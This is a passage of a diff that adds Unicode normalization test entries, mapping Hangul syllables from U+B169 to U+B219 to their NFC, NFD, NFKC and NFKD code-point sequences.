+{ source: [0xB169], NFC: [0xB169], NFD: [0x1102, 0x1168, 0x11B4], NFKC: [0xB169], NFKD: [0x1102, 0x1168, 0x11B4] },
+{ source: [0xB16A], NFC: [0xB16A], NFD: [0x1102, 0x1168, 0x11B5], NFKC: [0xB16A], NFKD: [0x1102, 0x1168, 0x11B5] },
+{ source: [0xB16B], NFC: [0xB16B], NFD: [0x1102, 0x1168, 0x11B6], NFKC: [0xB16B], NFKD: [0x1102, 0x1168, 0x11B6] },
+{ source: [0xB16C], NFC: [0xB16C], NFD: [0x1102, 0x1168, 0x11B7], NFKC: [0xB16C], NFKD: [0x1102, 0x1168, 0x11B7] },
+{ source: [0xB16D], NFC: [0xB16D], NFD: [0x1102, 0x1168, 0x11B8], NFKC: [0xB16D], NFKD: [0x1102, 0x1168, 0x11B8] },
+{ source: [0xB16E], NFC: [0xB16E], NFD: [0x1102, 0x1168, 0x11B9], NFKC: [0xB16E], NFKD: [0x1102, 0x1168, 0x11B9] },
+{ source: [0xB16F], NFC: [0xB16F], NFD: [0x1102, 0x1168, 0x11BA], NFKC: [0xB16F], NFKD: [0x1102, 0x1168, 0x11BA] },
+{ source: [0xB170], NFC: [0xB170], NFD: [0x1102, 0x1168, 0x11BB], NFKC: [0xB170], NFKD: [0x1102, 0x1168, 0x11BB] },
+{ source: [0xB171], NFC: [0xB171], NFD: [0x1102, 0x1168, 0x11BC], NFKC: [0xB171], NFKD: [0x1102, 0x1168, 0x11BC] },
+{ source: [0xB172], NFC: [0xB172], NFD: [0x1102, 0x1168, 0x11BD], NFKC: [0xB172], NFKD: [0x1102, 0x1168, 0x11BD] },
+{ source: [0xB173], NFC: [0xB173], NFD: [0x1102, 0x1168, 0x11BE], NFKC: [0xB173], NFKD: [0x1102, 0x1168, 0x11BE] },
+{ source: [0xB174], NFC: [0xB174], NFD: [0x1102, 0x1168, 0x11BF], NFKC: [0xB174], NFKD: [0x1102, 0x1168, 0x11BF] },
+{ source: [0xB175], NFC: [0xB175], NFD: [0x1102, 0x1168, 0x11C0], NFKC: [0xB175], NFKD: [0x1102, 0x1168, 0x11C0] },
+{ source: [0xB176], NFC: [0xB176], NFD: [0x1102, 0x1168, 0x11C1], NFKC: [0xB176], NFKD: [0x1102, 0x1168, 0x11C1] },
+{ source: [0xB177], NFC: [0xB177], NFD: [0x1102, 0x1168, 0x11C2], NFKC: [0xB177], NFKD: [0x1102, 0x1168, 0x11C2] },
+{ source: [0xB178], NFC: [0xB178], NFD: [0x1102, 0x1169], NFKC: [0xB178], NFKD: [0x1102, 0x1169] },
+{ source: [0xB179], NFC: [0xB179], NFD: [0x1102, 0x1169, 0x11A8], NFKC: [0xB179], NFKD: [0x1102, 0x1169, 0x11A8] },
+{ source: [0xB17A], NFC: [0xB17A], NFD: [0x1102, 0x1169, 0x11A9], NFKC: [0xB17A], NFKD: [0x1102, 0x1169, 0x11A9] },
+{ source: [0xB17B], NFC: [0xB17B], NFD: [0x1102, 0x1169, 0x11AA], NFKC: [0xB17B], NFKD: [0x1102, 0x1169, 0x11AA] },
+{ source: [0xB17C], NFC: [0xB17C], NFD: [0x1102, 0x1169, 0x11AB], NFKC: [0xB17C], NFKD: [0x1102, 0x1169, 0x11AB] },
+{ source: [0xB17D], NFC: [0xB17D], NFD: [0x1102, 0x1169, 0x11AC], NFKC: [0xB17D], NFKD: [0x1102, 0x1169, 0x11AC] },
+{ source: [0xB17E], NFC: [0xB17E], NFD: [0x1102, 0x1169, 0x11AD], NFKC: [0xB17E], NFKD: [0x1102, 0x1169, 0x11AD] },
+{ source: [0xB17F], NFC: [0xB17F], NFD: [0x1102, 0x1169, 0x11AE], NFKC: [0xB17F], NFKD: [0x1102, 0x1169, 0x11AE] },
+{ source: [0xB180], NFC: [0xB180], NFD: [0x1102, 0x1169, 0x11AF], NFKC: [0xB180], NFKD: [0x1102, 0x1169, 0x11AF] },
+{ source: [0xB181], NFC: [0xB181], NFD: [0x1102, 0x1169, 0x11B0], NFKC: [0xB181], NFKD: [0x1102, 0x1169, 0x11B0] },
+{ source: [0xB182], NFC: [0xB182], NFD: [0x1102, 0x1169, 0x11B1], NFKC: [0xB182], NFKD: [0x1102, 0x1169, 0x11B1] },
+{ source: [0xB183], NFC: [0xB183], NFD: [0x1102, 0x1169, 0x11B2], NFKC: [0xB183], NFKD: [0x1102, 0x1169, 0x11B2] },
+{ source: [0xB184], NFC: [0xB184], NFD: [0x1102, 0x1169, 0x11B3], NFKC: [0xB184], NFKD: [0x1102, 0x1169, 0x11B3] },
+{ source: [0xB185], NFC: [0xB185], NFD: [0x1102, 0x1169, 0x11B4], NFKC: [0xB185], NFKD: [0x1102, 0x1169, 0x11B4] },
+{ source: [0xB186], NFC: [0xB186], NFD: [0x1102, 0x1169, 0x11B5], NFKC: [0xB186], NFKD: [0x1102, 0x1169, 0x11B5] },
+{ source: [0xB187], NFC: [0xB187], NFD: [0x1102, 0x1169, 0x11B6], NFKC: [0xB187], NFKD: [0x1102, 0x1169, 0x11B6] },
+{ source: [0xB188], NFC: [0xB188], NFD: [0x1102, 0x1169, 0x11B7], NFKC: [0xB188], NFKD: [0x1102, 0x1169, 0x11B7] },
+{ source: [0xB189], NFC: [0xB189], NFD: [0x1102, 0x1169, 0x11B8], NFKC: [0xB189], NFKD: [0x1102, 0x1169, 0x11B8] },
+{ source: [0xB18A], NFC: [0xB18A], NFD: [0x1102, 0x1169, 0x11B9], NFKC: [0xB18A], NFKD: [0x1102, 0x1169, 0x11B9] },
+{ source: [0xB18B], NFC: [0xB18B], NFD: [0x1102, 0x1169, 0x11BA], NFKC: [0xB18B], NFKD: [0x1102, 0x1169, 0x11BA] },
+{ source: [0xB18C], NFC: [0xB18C], NFD: [0x1102, 0x1169, 0x11BB], NFKC: [0xB18C], NFKD: [0x1102, 0x1169, 0x11BB] },
+{ source: [0xB18D], NFC: [0xB18D], NFD: [0x1102, 0x1169, 0x11BC], NFKC: [0xB18D], NFKD: [0x1102, 0x1169, 0x11BC] },
+{ source: [0xB18E], NFC: [0xB18E], NFD: [0x1102, 0x1169, 0x11BD], NFKC: [0xB18E], NFKD: [0x1102, 0x1169, 0x11BD] },
+{ source: [0xB18F], NFC: [0xB18F], NFD: [0x1102, 0x1169, 0x11BE], NFKC: [0xB18F], NFKD: [0x1102, 0x1169, 0x11BE] },
+{ source: [0xB190], NFC: [0xB190], NFD: [0x1102, 0x1169, 0x11BF], NFKC: [0xB190], NFKD: [0x1102, 0x1169, 0x11BF] },
+{ source: [0xB191], NFC: [0xB191], NFD: [0x1102, 0x1169, 0x11C0], NFKC: [0xB191], NFKD: [0x1102, 0x1169, 0x11C0] },
+{ source: [0xB192], NFC: [0xB192], NFD: [0x1102, 0x1169, 0x11C1], NFKC: [0xB192], NFKD: [0x1102, 0x1169, 0x11C1] },
+{ source: [0xB193], NFC: [0xB193], NFD: [0x1102, 0x1169, 0x11C2], NFKC: [0xB193], NFKD: [0x1102, 0x1169, 0x11C2] },
+{ source: [0xB194], NFC: [0xB194], NFD: [0x1102, 0x116A], NFKC: [0xB194], NFKD: [0x1102, 0x116A] },
+{ source: [0xB195], NFC: [0xB195], NFD: [0x1102, 0x116A, 0x11A8], NFKC: [0xB195], NFKD: [0x1102, 0x116A, 0x11A8] },
+{ source: [0xB196], NFC: [0xB196], NFD: [0x1102, 0x116A, 0x11A9], NFKC: [0xB196], NFKD: [0x1102, 0x116A, 0x11A9] },
+{ source: [0xB197], NFC: [0xB197], NFD: [0x1102, 0x116A, 0x11AA], NFKC: [0xB197], NFKD: [0x1102, 0x116A, 0x11AA] },
+{ source: [0xB198], NFC: [0xB198], NFD: [0x1102, 0x116A, 0x11AB], NFKC: [0xB198], NFKD: [0x1102, 0x116A, 0x11AB] },
+{ source: [0xB199], NFC: [0xB199], NFD: [0x1102, 0x116A, 0x11AC], NFKC: [0xB199], NFKD: [0x1102, 0x116A, 0x11AC] },
+{ source: [0xB19A], NFC: [0xB19A], NFD: [0x1102, 0x116A, 0x11AD], NFKC: [0xB19A], NFKD: [0x1102, 0x116A, 0x11AD] },
+{ source: [0xB19B], NFC: [0xB19B], NFD: [0x1102, 0x116A, 0x11AE], NFKC: [0xB19B], NFKD: [0x1102, 0x116A, 0x11AE] },
+{ source: [0xB19C], NFC: [0xB19C], NFD: [0x1102, 0x116A, 0x11AF], NFKC: [0xB19C], NFKD: [0x1102, 0x116A, 0x11AF] },
+{ source: [0xB19D], NFC: [0xB19D], NFD: [0x1102, 0x116A, 0x11B0], NFKC: [0xB19D], NFKD: [0x1102, 0x116A, 0x11B0] },
+{ source: [0xB19E], NFC: [0xB19E], NFD: [0x1102, 0x116A, 0x11B1], NFKC: [0xB19E], NFKD: [0x1102, 0x116A, 0x11B1] },
+{ source: [0xB19F], NFC: [0xB19F], NFD: [0x1102, 0x116A, 0x11B2], NFKC: [0xB19F], NFKD: [0x1102, 0x116A, 0x11B2] },
+{ source: [0xB1A0], NFC: [0xB1A0], NFD: [0x1102, 0x116A, 0x11B3], NFKC: [0xB1A0], NFKD: [0x1102, 0x116A, 0x11B3] },
+{ source: [0xB1A1], NFC: [0xB1A1], NFD: [0x1102, 0x116A, 0x11B4], NFKC: [0xB1A1], NFKD: [0x1102, 0x116A, 0x11B4] },
+{ source: [0xB1A2], NFC: [0xB1A2], NFD: [0x1102, 0x116A, 0x11B5], NFKC: [0xB1A2], NFKD: [0x1102, 0x116A, 0x11B5] },
+{ source: [0xB1A3], NFC: [0xB1A3], NFD: [0x1102, 0x116A, 0x11B6], NFKC: [0xB1A3], NFKD: [0x1102, 0x116A, 0x11B6] },
+{ source: [0xB1A4], NFC: [0xB1A4], NFD: [0x1102, 0x116A, 0x11B7], NFKC: [0xB1A4], NFKD: [0x1102, 0x116A, 0x11B7] },
+{ source: [0xB1A5], NFC: [0xB1A5], NFD: [0x1102, 0x116A, 0x11B8], NFKC: [0xB1A5], NFKD: [0x1102, 0x116A, 0x11B8] },
+{ source: [0xB1A6], NFC: [0xB1A6], NFD: [0x1102, 0x116A, 0x11B9], NFKC: [0xB1A6], NFKD: [0x1102, 0x116A, 0x11B9] },
+{ source: [0xB1A7], NFC: [0xB1A7], NFD: [0x1102, 0x116A, 0x11BA], NFKC: [0xB1A7], NFKD: [0x1102, 0x116A, 0x11BA] },
+{ source: [0xB1A8], NFC: [0xB1A8], NFD: [0x1102, 0x116A, 0x11BB], NFKC: [0xB1A8], NFKD: [0x1102, 0x116A, 0x11BB] },
+{ source: [0xB1A9], NFC: [0xB1A9], NFD: [0x1102, 0x116A, 0x11BC], NFKC: [0xB1A9], NFKD: [0x1102, 0x116A, 0x11BC] },
+{ source: [0xB1AA], NFC: [0xB1AA], NFD: [0x1102, 0x116A, 0x11BD], NFKC: [0xB1AA], NFKD: [0x1102, 0x116A, 0x11BD] },
+{ source: [0xB1AB], NFC: [0xB1AB], NFD: [0x1102, 0x116A, 0x11BE], NFKC: [0xB1AB], NFKD: [0x1102, 0x116A, 0x11BE] },
+{ source: [0xB1AC], NFC: [0xB1AC], NFD: [0x1102, 0x116A, 0x11BF], NFKC: [0xB1AC], NFKD: [0x1102, 0x116A, 0x11BF] },
+{ source: [0xB1AD], NFC: [0xB1AD], NFD: [0x1102, 0x116A, 0x11C0], NFKC: [0xB1AD], NFKD: [0x1102, 0x116A, 0x11C0] },
+{ source: [0xB1AE], NFC: [0xB1AE], NFD: [0x1102, 0x116A, 0x11C1], NFKC: [0xB1AE], NFKD: [0x1102, 0x116A, 0x11C1] },
+{ source: [0xB1AF], NFC: [0xB1AF], NFD: [0x1102, 0x116A, 0x11C2], NFKC: [0xB1AF], NFKD: [0x1102, 0x116A, 0x11C2] },
+{ source: [0xB1B0], NFC: [0xB1B0], NFD: [0x1102, 0x116B], NFKC: [0xB1B0], NFKD: [0x1102, 0x116B] },
+{ source: [0xB1B1], NFC: [0xB1B1], NFD: [0x1102, 0x116B, 0x11A8], NFKC: [0xB1B1], NFKD: [0x1102, 0x116B, 0x11A8] },
+{ source: [0xB1B2], NFC: [0xB1B2], NFD: [0x1102, 0x116B, 0x11A9], NFKC: [0xB1B2], NFKD: [0x1102, 0x116B, 0x11A9] },
+{ source: [0xB1B3], NFC: [0xB1B3], NFD: [0x1102, 0x116B, 0x11AA], NFKC: [0xB1B3], NFKD: [0x1102, 0x116B, 0x11AA] },
+{ source: [0xB1B4], NFC: [0xB1B4], NFD: [0x1102, 0x116B, 0x11AB], NFKC: [0xB1B4], NFKD: [0x1102, 0x116B, 0x11AB] },
+{ source: [0xB1B5], NFC: [0xB1B5], NFD: [0x1102, 0x116B, 0x11AC], NFKC: [0xB1B5], NFKD: [0x1102, 0x116B, 0x11AC] },
+{ source: [0xB1B6], NFC: [0xB1B6], NFD: [0x1102, 0x116B, 0x11AD], NFKC: [0xB1B6], NFKD: [0x1102, 0x116B, 0x11AD] },
+{ source: [0xB1B7], NFC: [0xB1B7], NFD: [0x1102, 0x116B, 0x11AE], NFKC: [0xB1B7], NFKD: [0x1102, 0x116B, 0x11AE] },
+{ source: [0xB1B8], NFC: [0xB1B8], NFD: [0x1102, 0x116B, 0x11AF], NFKC: [0xB1B8], NFKD: [0x1102, 0x116B, 0x11AF] },
+{ source: [0xB1B9], NFC: [0xB1B9], NFD: [0x1102, 0x116B, 0x11B0], NFKC: [0xB1B9], NFKD: [0x1102, 0x116B, 0x11B0] },
+{ source: [0xB1BA], NFC: [0xB1BA], NFD: [0x1102, 0x116B, 0x11B1], NFKC: [0xB1BA], NFKD: [0x1102, 0x116B, 0x11B1] },
+{ source: [0xB1BB], NFC: [0xB1BB], NFD: [0x1102, 0x116B, 0x11B2], NFKC: [0xB1BB], NFKD: [0x1102, 0x116B, 0x11B2] },
+{ source: [0xB1BC], NFC: [0xB1BC], NFD: [0x1102, 0x116B, 0x11B3], NFKC: [0xB1BC], NFKD: [0x1102, 0x116B, 0x11B3] },
+{ source: [0xB1BD], NFC: [0xB1BD], NFD: [0x1102, 0x116B, 0x11B4], NFKC: [0xB1BD], NFKD: [0x1102, 0x116B, 0x11B4] },
+{ source: [0xB1BE], NFC: [0xB1BE], NFD: [0x1102, 0x116B, 0x11B5], NFKC: [0xB1BE], NFKD: [0x1102, 0x116B, 0x11B5] },
+{ source: [0xB1BF], NFC: [0xB1BF], NFD: [0x1102, 0x116B, 0x11B6], NFKC: [0xB1BF], NFKD: [0x1102, 0x116B, 0x11B6] },
+{ source: [0xB1C0], NFC: [0xB1C0], NFD: [0x1102, 0x116B, 0x11B7], NFKC: [0xB1C0], NFKD: [0x1102, 0x116B, 0x11B7] },
+{ source: [0xB1C1], NFC: [0xB1C1], NFD: [0x1102, 0x116B, 0x11B8], NFKC: [0xB1C1], NFKD: [0x1102, 0x116B, 0x11B8] },
+{ source: [0xB1C2], NFC: [0xB1C2], NFD: [0x1102, 0x116B, 0x11B9], NFKC: [0xB1C2], NFKD: [0x1102, 0x116B, 0x11B9] },
+{ source: [0xB1C3], NFC: [0xB1C3], NFD: [0x1102, 0x116B, 0x11BA], NFKC: [0xB1C3], NFKD: [0x1102, 0x116B, 0x11BA] },
+{ source: [0xB1C4], NFC: [0xB1C4], NFD: [0x1102, 0x116B, 0x11BB], NFKC: [0xB1C4], NFKD: [0x1102, 0x116B, 0x11BB] },
+{ source: [0xB1C5], NFC: [0xB1C5], NFD: [0x1102, 0x116B, 0x11BC], NFKC: [0xB1C5], NFKD: [0x1102, 0x116B, 0x11BC] },
+{ source: [0xB1C6], NFC: [0xB1C6], NFD: [0x1102, 0x116B, 0x11BD], NFKC: [0xB1C6], NFKD: [0x1102, 0x116B, 0x11BD] },
+{ source: [0xB1C7], NFC: [0xB1C7], NFD: [0x1102, 0x116B, 0x11BE], NFKC: [0xB1C7], NFKD: [0x1102, 0x116B, 0x11BE] },
+{ source: [0xB1C8], NFC: [0xB1C8], NFD: [0x1102, 0x116B, 0x11BF], NFKC: [0xB1C8], NFKD: [0x1102, 0x116B, 0x11BF] },
+{ source: [0xB1C9], NFC: [0xB1C9], NFD: [0x1102, 0x116B, 0x11C0], NFKC: [0xB1C9], NFKD: [0x1102, 0x116B, 0x11C0] },
+{ source: [0xB1CA], NFC: [0xB1CA], NFD: [0x1102, 0x116B, 0x11C1], NFKC: [0xB1CA], NFKD: [0x1102, 0x116B, 0x11C1] },
+{ source: [0xB1CB], NFC: [0xB1CB], NFD: [0x1102, 0x116B, 0x11C2], NFKC: [0xB1CB], NFKD: [0x1102, 0x116B, 0x11C2] },
+{ source: [0xB1CC], NFC: [0xB1CC], NFD: [0x1102, 0x116C], NFKC: [0xB1CC], NFKD: [0x1102, 0x116C] },
+{ source: [0xB1CD], NFC: [0xB1CD], NFD: [0x1102, 0x116C, 0x11A8], NFKC: [0xB1CD], NFKD: [0x1102, 0x116C, 0x11A8] },
+{ source: [0xB1CE], NFC: [0xB1CE], NFD: [0x1102, 0x116C, 0x11A9], NFKC: [0xB1CE], NFKD: [0x1102, 0x116C, 0x11A9] },
+{ source: [0xB1CF], NFC: [0xB1CF], NFD: [0x1102, 0x116C, 0x11AA], NFKC: [0xB1CF], NFKD: [0x1102, 0x116C, 0x11AA] },
+{ source: [0xB1D0], NFC: [0xB1D0], NFD: [0x1102, 0x116C, 0x11AB], NFKC: [0xB1D0], NFKD: [0x1102, 0x116C, 0x11AB] },
+{ source: [0xB1D1], NFC: [0xB1D1], NFD: [0x1102, 0x116C, 0x11AC], NFKC: [0xB1D1], NFKD: [0x1102, 0x116C, 0x11AC] },
+{ source: [0xB1D2], NFC: [0xB1D2], NFD: [0x1102, 0x116C, 0x11AD], NFKC: [0xB1D2], NFKD: [0x1102, 0x116C, 0x11AD] },
+{ source: [0xB1D3], NFC: [0xB1D3], NFD: [0x1102, 0x116C, 0x11AE], NFKC: [0xB1D3], NFKD: [0x1102, 0x116C, 0x11AE] },
+{ source: [0xB1D4], NFC: [0xB1D4], NFD: [0x1102, 0x116C, 0x11AF], NFKC: [0xB1D4], NFKD: [0x1102, 0x116C, 0x11AF] },
+{ source: [0xB1D5], NFC: [0xB1D5], NFD: [0x1102, 0x116C, 0x11B0], NFKC: [0xB1D5], NFKD: [0x1102, 0x116C, 0x11B0] },
+{ source: [0xB1D6], NFC: [0xB1D6], NFD: [0x1102, 0x116C, 0x11B1], NFKC: [0xB1D6], NFKD: [0x1102, 0x116C, 0x11B1] },
+{ source: [0xB1D7], NFC: [0xB1D7], NFD: [0x1102, 0x116C, 0x11B2], NFKC: [0xB1D7], NFKD: [0x1102, 0x116C, 0x11B2] },
+{ source: [0xB1D8], NFC: [0xB1D8], NFD: [0x1102, 0x116C, 0x11B3], NFKC: [0xB1D8], NFKD: [0x1102, 0x116C, 0x11B3] },
+{ source: [0xB1D9], NFC: [0xB1D9], NFD: [0x1102, 0x116C, 0x11B4], NFKC: [0xB1D9], NFKD: [0x1102, 0x116C, 0x11B4] },
+{ source: [0xB1DA], NFC: [0xB1DA], NFD: [0x1102, 0x116C, 0x11B5], NFKC: [0xB1DA], NFKD: [0x1102, 0x116C, 0x11B5] },
+{ source: [0xB1DB], NFC: [0xB1DB], NFD: [0x1102, 0x116C, 0x11B6], NFKC: [0xB1DB], NFKD: [0x1102, 0x116C, 0x11B6] },
+{ source: [0xB1DC], NFC: [0xB1DC], NFD: [0x1102, 0x116C, 0x11B7], NFKC: [0xB1DC], NFKD: [0x1102, 0x116C, 0x11B7] },
+{ source: [0xB1DD], NFC: [0xB1DD], NFD: [0x1102, 0x116C, 0x11B8], NFKC: [0xB1DD], NFKD: [0x1102, 0x116C, 0x11B8] },
+{ source: [0xB1DE], NFC: [0xB1DE], NFD: [0x1102, 0x116C, 0x11B9], NFKC: [0xB1DE], NFKD: [0x1102, 0x116C, 0x11B9] },
+{ source: [0xB1DF], NFC: [0xB1DF], NFD: [0x1102, 0x116C, 0x11BA], NFKC: [0xB1DF], NFKD: [0x1102, 0x116C, 0x11BA] },
+{ source: [0xB1E0], NFC: [0xB1E0], NFD: [0x1102, 0x116C, 0x11BB], NFKC: [0xB1E0], NFKD: [0x1102, 0x116C, 0x11BB] },
+{ source: [0xB1E1], NFC: [0xB1E1], NFD: [0x1102, 0x116C, 0x11BC], NFKC: [0xB1E1], NFKD: [0x1102, 0x116C, 0x11BC] },
+{ source: [0xB1E2], NFC: [0xB1E2], NFD: [0x1102, 0x116C, 0x11BD], NFKC: [0xB1E2], NFKD: [0x1102, 0x116C, 0x11BD] },
+{ source: [0xB1E3], NFC: [0xB1E3], NFD: [0x1102, 0x116C, 0x11BE], NFKC: [0xB1E3], NFKD: [0x1102, 0x116C, 0x11BE] },
+{ source: [0xB1E4], NFC: [0xB1E4], NFD: [0x1102, 0x116C, 0x11BF], NFKC: [0xB1E4], NFKD: [0x1102, 0x116C, 0x11BF] },
+{ source: [0xB1E5], NFC: [0xB1E5], NFD: [0x1102, 0x116C, 0x11C0], NFKC: [0xB1E5], NFKD: [0x1102, 0x116C, 0x11C0] },
+{ source: [0xB1E6], NFC: [0xB1E6], NFD: [0x1102, 0x116C, 0x11C1], NFKC: [0xB1E6], NFKD: [0x1102, 0x116C, 0x11C1] },
+{ source: [0xB1E7], NFC: [0xB1E7], NFD: [0x1102, 0x116C, 0x11C2], NFKC: [0xB1E7], NFKD: [0x1102, 0x116C, 0x11C2] },
+{ source: [0xB1E8], NFC: [0xB1E8], NFD: [0x1102, 0x116D], NFKC: [0xB1E8], NFKD: [0x1102, 0x116D] },
+{ source: [0xB1E9], NFC: [0xB1E9], NFD: [0x1102, 0x116D, 0x11A8], NFKC: [0xB1E9], NFKD: [0x1102, 0x116D, 0x11A8] },
+{ source: [0xB1EA], NFC: [0xB1EA], NFD: [0x1102, 0x116D, 0x11A9], NFKC: [0xB1EA], NFKD: [0x1102, 0x116D, 0x11A9] },
+{ source: [0xB1EB], NFC: [0xB1EB], NFD: [0x1102, 0x116D, 0x11AA], NFKC: [0xB1EB], NFKD: [0x1102, 0x116D, 0x11AA] },
+{ source: [0xB1EC], NFC: [0xB1EC], NFD: [0x1102, 0x116D, 0x11AB], NFKC: [0xB1EC], NFKD: [0x1102, 0x116D, 0x11AB] },
+{ source: [0xB1ED], NFC: [0xB1ED], NFD: [0x1102, 0x116D, 0x11AC], NFKC: [0xB1ED], NFKD: [0x1102, 0x116D, 0x11AC] },
+{ source: [0xB1EE], NFC: [0xB1EE], NFD: [0x1102, 0x116D, 0x11AD], NFKC: [0xB1EE], NFKD: [0x1102, 0x116D, 0x11AD] },
+{ source: [0xB1EF], NFC: [0xB1EF], NFD: [0x1102, 0x116D, 0x11AE], NFKC: [0xB1EF], NFKD: [0x1102, 0x116D, 0x11AE] },
+{ source: [0xB1F0], NFC: [0xB1F0], NFD: [0x1102, 0x116D, 0x11AF], NFKC: [0xB1F0], NFKD: [0x1102, 0x116D, 0x11AF] },
+{ source: [0xB1F1], NFC: [0xB1F1], NFD: [0x1102, 0x116D, 0x11B0], NFKC: [0xB1F1], NFKD: [0x1102, 0x116D, 0x11B0] },
+{ source: [0xB1F2], NFC: [0xB1F2], NFD: [0x1102, 0x116D, 0x11B1], NFKC: [0xB1F2], NFKD: [0x1102, 0x116D, 0x11B1] },
+{ source: [0xB1F3], NFC: [0xB1F3], NFD: [0x1102, 0x116D, 0x11B2], NFKC: [0xB1F3], NFKD: [0x1102, 0x116D, 0x11B2] },
+{ source: [0xB1F4], NFC: [0xB1F4], NFD: [0x1102, 0x116D, 0x11B3], NFKC: [0xB1F4], NFKD: [0x1102, 0x116D, 0x11B3] },
+{ source: [0xB1F5], NFC: [0xB1F5], NFD: [0x1102, 0x116D, 0x11B4], NFKC: [0xB1F5], NFKD: [0x1102, 0x116D, 0x11B4] },
+{ source: [0xB1F6], NFC: [0xB1F6], NFD: [0x1102, 0x116D, 0x11B5], NFKC: [0xB1F6], NFKD: [0x1102, 0x116D, 0x11B5] },
+{ source: [0xB1F7], NFC: [0xB1F7], NFD: [0x1102, 0x116D, 0x11B6], NFKC: [0xB1F7], NFKD: [0x1102, 0x116D, 0x11B6] },
+{ source: [0xB1F8], NFC: [0xB1F8], NFD: [0x1102, 0x116D, 0x11B7], NFKC: [0xB1F8], NFKD: [0x1102, 0x116D, 0x11B7] },
+{ source: [0xB1F9], NFC: [0xB1F9], NFD: [0x1102, 0x116D, 0x11B8], NFKC: [0xB1F9], NFKD: [0x1102, 0x116D, 0x11B8] },
+{ source: [0xB1FA], NFC: [0xB1FA], NFD: [0x1102, 0x116D, 0x11B9], NFKC: [0xB1FA], NFKD: [0x1102, 0x116D, 0x11B9] },
+{ source: [0xB1FB], NFC: [0xB1FB], NFD: [0x1102, 0x116D, 0x11BA], NFKC: [0xB1FB], NFKD: [0x1102, 0x116D, 0x11BA] },
+{ source: [0xB1FC], NFC: [0xB1FC], NFD: [0x1102, 0x116D, 0x11BB], NFKC: [0xB1FC], NFKD: [0x1102, 0x116D, 0x11BB] },
+{ source: [0xB1FD], NFC: [0xB1FD], NFD: [0x1102, 0x116D, 0x11BC], NFKC: [0xB1FD], NFKD: [0x1102, 0x116D, 0x11BC] },
+{ source: [0xB1FE], NFC: [0xB1FE], NFD: [0x1102, 0x116D, 0x11BD], NFKC: [0xB1FE], NFKD: [0x1102, 0x116D, 0x11BD] },
+{ source: [0xB1FF], NFC: [0xB1FF], NFD: [0x1102, 0x116D, 0x11BE], NFKC: [0xB1FF], NFKD: [0x1102, 0x116D, 0x11BE] },
+{ source: [0xB200], NFC: [0xB200], NFD: [0x1102, 0x116D, 0x11BF], NFKC: [0xB200], NFKD: [0x1102, 0x116D, 0x11BF] },
+{ source: [0xB201], NFC: [0xB201], NFD: [0x1102, 0x116D, 0x11C0], NFKC: [0xB201], NFKD: [0x1102, 0x116D, 0x11C0] },
+{ source: [0xB202], NFC: [0xB202], NFD: [0x1102, 0x116D, 0x11C1], NFKC: [0xB202], NFKD: [0x1102, 0x116D, 0x11C1] },
+{ source: [0xB203], NFC: [0xB203], NFD: [0x1102, 0x116D, 0x11C2], NFKC: [0xB203], NFKD: [0x1102, 0x116D, 0x11C2] },
+{ source: [0xB204], NFC: [0xB204], NFD: [0x1102, 0x116E], NFKC: [0xB204], NFKD: [0x1102, 0x116E] },
+{ source: [0xB205], NFC: [0xB205], NFD: [0x1102, 0x116E, 0x11A8], NFKC: [0xB205], NFKD: [0x1102, 0x116E, 0x11A8] },
+{ source: [0xB206], NFC: [0xB206], NFD: [0x1102, 0x116E, 0x11A9], NFKC: [0xB206], NFKD: [0x1102, 0x116E, 0x11A9] },
+{ source: [0xB207], NFC: [0xB207], NFD: [0x1102, 0x116E, 0x11AA], NFKC: [0xB207], NFKD: [0x1102, 0x116E, 0x11AA] },
+{ source: [0xB208], NFC: [0xB208], NFD: [0x1102, 0x116E, 0x11AB], NFKC: [0xB208], NFKD: [0x1102, 0x116E, 0x11AB] },
+{ source: [0xB209], NFC: [0xB209], NFD: [0x1102, 0x116E, 0x11AC], NFKC: [0xB209], NFKD: [0x1102, 0x116E, 0x11AC] },
+{ source: [0xB20A], NFC: [0xB20A], NFD: [0x1102, 0x116E, 0x11AD], NFKC: [0xB20A], NFKD: [0x1102, 0x116E, 0x11AD] },
+{ source: [0xB20B], NFC: [0xB20B], NFD: [0x1102, 0x116E, 0x11AE], NFKC: [0xB20B], NFKD: [0x1102, 0x116E, 0x11AE] },
+{ source: [0xB20C], NFC: [0xB20C], NFD: [0x1102, 0x116E, 0x11AF], NFKC: [0xB20C], NFKD: [0x1102, 0x116E, 0x11AF] },
+{ source: [0xB20D], NFC: [0xB20D], NFD: [0x1102, 0x116E, 0x11B0], NFKC: [0xB20D], NFKD: [0x1102, 0x116E, 0x11B0] },
+{ source: [0xB20E], NFC: [0xB20E], NFD: [0x1102, 0x116E, 0x11B1], NFKC: [0xB20E], NFKD: [0x1102, 0x116E, 0x11B1] },
+{ source: [0xB20F], NFC: [0xB20F], NFD: [0x1102, 0x116E, 0x11B2], NFKC: [0xB20F], NFKD: [0x1102, 0x116E, 0x11B2] },
+{ source: [0xB210], NFC: [0xB210], NFD: [0x1102, 0x116E, 0x11B3], NFKC: [0xB210], NFKD: [0x1102, 0x116E, 0x11B3] },
+{ source: [0xB211], NFC: [0xB211], NFD: [0x1102, 0x116E, 0x11B4], NFKC: [0xB211], NFKD: [0x1102, 0x116E, 0x11B4] },
+{ source: [0xB212], NFC: [0xB212], NFD: [0x1102, 0x116E, 0x11B5], NFKC: [0xB212], NFKD: [0x1102, 0x116E, 0x11B5] },
+{ source: [0xB213], NFC: [0xB213], NFD: [0x1102, 0x116E, 0x11B6], NFKC: [0xB213], NFKD: [0x1102, 0x116E, 0x11B6] },
+{ source: [0xB214], NFC: [0xB214], NFD: [0x1102, 0x116E, 0x11B7], NFKC: [0xB214], NFKD: [0x1102, 0x116E, 0x11B7] },
+{ source: [0xB215], NFC: [0xB215], NFD: [0x1102, 0x116E, 0x11B8], NFKC: [0xB215], NFKD: [0x1102, 0x116E, 0x11B8] },
+{ source: [0xB216], NFC: [0xB216], NFD: [0x1102, 0x116E, 0x11B9], NFKC: [0xB216], NFKD: [0x1102, 0x116E, 0x11B9] },
+{ source: [0xB217], NFC: [0xB217], NFD: [0x1102, 0x116E, 0x11BA], NFKC: [0xB217], NFKD: [0x1102, 0x116E, 0x11BA] },
+{ source: [0xB218], NFC: [0xB218], NFD: [0x1102, 0x116E, 0x11BB], NFKC: [0xB218], NFKD: [0x1102, 0x116E, 0x11BB] },
+{ source: [0xB219], NFC: [0xB219], NFD: [0x1102, 0x116E, 0x11BC], NFKC: [0xB219], NFKD: [0x1102, 0x116E, 0x11BC] },
